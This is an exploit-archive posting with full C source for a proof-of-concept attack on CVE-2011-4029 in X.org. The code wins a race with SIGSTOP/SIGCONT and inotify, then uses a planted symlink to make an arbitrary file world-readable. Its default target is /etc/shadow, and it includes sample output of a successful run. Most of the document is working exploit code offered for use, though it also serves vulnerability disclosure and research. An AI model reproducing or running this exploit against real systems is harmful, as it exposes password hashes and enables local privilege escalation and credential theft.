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X.org File Permission Change Proof Of Concept

X.org File Permission Change Proof Of Concept
Posted Dec 16, 2011
Authored by vladz

This proof of concept exploit sets permissions to 444 on an arbitrary file specified as an argument by leveraging SIGSTOP/SIGCONT signals and the Inotify API to win a race condition in X.

tags | exploit, arbitrary, proof of concept
advisories | CVE-2011-4029
SHA-256 | 0ea22872b6b51bf5249b0a70a12ebe97e3272ad611f24a936335036486484018

X.org File Permission Change Proof Of Concept

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/* xchmod.c -- Xorg file permission change vulnerability PoC

This PoC exploits CVE-2011-4029 to set the rights 444 (read for all) on
arbitrary file specified as argument (default file is "/etc/shadow").
It uses SIGSTOP/SIGCONT signals and the Inotify API to win the race.
Made for EDUCATIONAL PURPOSES ONLY!

On some configurations, this exploit must be launched from a TTY (switch
by typing Ctrl-Alt-Fn). But not on Debian, because it bypasses the X
wrapper permission thanks to CVE-2011-4613!

Tested on Debian 6.0.3 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13).

Compile: cc xchmod.c -o xchmod
Usage: ./xchmod [/path/to/file] (default file is /etc/shadow)

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
$ ./xchmod
[+] Trying to stop a Xorg process right before chmod()
[+] Process ID 4134 stopped (SIGSTOP sent)
[+] Removing /tmp/.tX1-lock by launching another Xorg process
[+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
[+] Process ID 4134 resumed (SIGCONT sent)
[+] Attack succeeded, ls -l /etc/shadow:
-r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow

-----------------------------------------------------------------------

"THE BEER-WARE LICENSE" (Revision 42):
<vladz@devzero.fr> wrote this file. As long as you retain this notice
you can do whatever you want with this stuff. If we meet some day, and
you think this stuff is worth it, you can buy me a beer in return. -V.
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <syscall.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <sys/types.h>
#include <sys/wait.h>

#define XORG_BIN "/usr/bin/X"
#define DISPLAY ":1"


char *get_tty_number(void) {
char tty_name[128], *ptr;

memset(tty_name, '\0', sizeof(tty_name));
readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));

if ((ptr = strstr(tty_name, "tty")))
return ptr + 3;

return NULL;
}


void timeout_handler() {

printf("[-] read() timeout! \n");
if (!get_tty_number())
printf("Try with console ownership: switch to a TTY by using "
"Ctrl-Alt-F[1-6] and try again.\n");
else
printf("Maybe inotify isn't enabled.\n");

_exit(1);
}


int launch_xorg_instance(int inc) {
int pid, newfd;
char *opt[] = { XORG_BIN, DISPLAY, NULL };

if ((pid = fork()) == 0) {
newfd = open("/dev/tty", O_RDONLY);
dup2(newfd, 0); close(1); close(2);

nice(inc); usleep(30000);
execve(XORG_BIN, opt, NULL);
_exit(0);
}

return pid;
}


void show_target_file(char *file) {
char cmd[128];

memset(cmd, '\0', sizeof(cmd));
sprintf(cmd, "/bin/ls -l %s", file);
system(cmd);
}


int main(int argc, char **argv) {
pid_t pid, remove_pid;
struct stat st;
int fd, wd, status;
char targetfile[128], lockfiletmp[20], lockfile[20];

if (argc < 2)
strcpy(targetfile, "/etc/shadow");
else
strcpy(targetfile, argv[1]);

sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY + 1);
sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY + 1);

if (stat(lockfile, &st) == 0) {
printf("[-] %s exists, maybe Xorg is already running on this"
" display? Choose another display by editing the DISPLAY"
" attributes.\n", lockfile);
return 1;
}

umask(077);
signal(SIGALRM, timeout_handler);

symlink("/dontexist", lockfile);

fd = inotify_init();
wd = inotify_add_watch(fd, "/tmp", IN_CREATE);

alarm(5);
printf("[+] Trying to stop a Xorg process right before chmod()\n");
pid = launch_xorg_instance(19);
syscall(SYS_read, fd, 0, 0);
syscall(SYS_kill, pid, SIGSTOP);
alarm(0);

printf("[+] Process ID %d stopped (SIGSTOP sent)\n", pid);

inotify_rm_watch(fd, wd);

stat(lockfiletmp, &st);
if ((st.st_mode & 4) != 0) {
printf("[-] %s file has wrong rights (%o) removing it by launching"
" another Xorg process\n[-] Attack failed. Try again!\n",
lockfiletmp, st.st_mode);

remove_pid = launch_xorg_instance(0);
waitpid(remove_pid, &status, 0);
unlink(lockfile);
return 1;
}

printf("[+] Removing %s by launching another Xorg process\n",
lockfiletmp);
remove_pid = launch_xorg_instance(0);
waitpid(remove_pid, &status, 0);

printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,
targetfile);
symlink(targetfile, lockfiletmp);

printf("[+] Process ID %d resumed (SIGCONT sent)\n", pid);
kill(pid, SIGCONT);
waitpid(pid, &status, 0);

unlink(lockfile);

stat(targetfile, &st);
if (!(st.st_mode & 004)) {
printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode);
return 1;
}

printf("[+] Attack succeeded, ls -l %s:\n", targetfile);
show_target_file(targetfile);

return 0;
}


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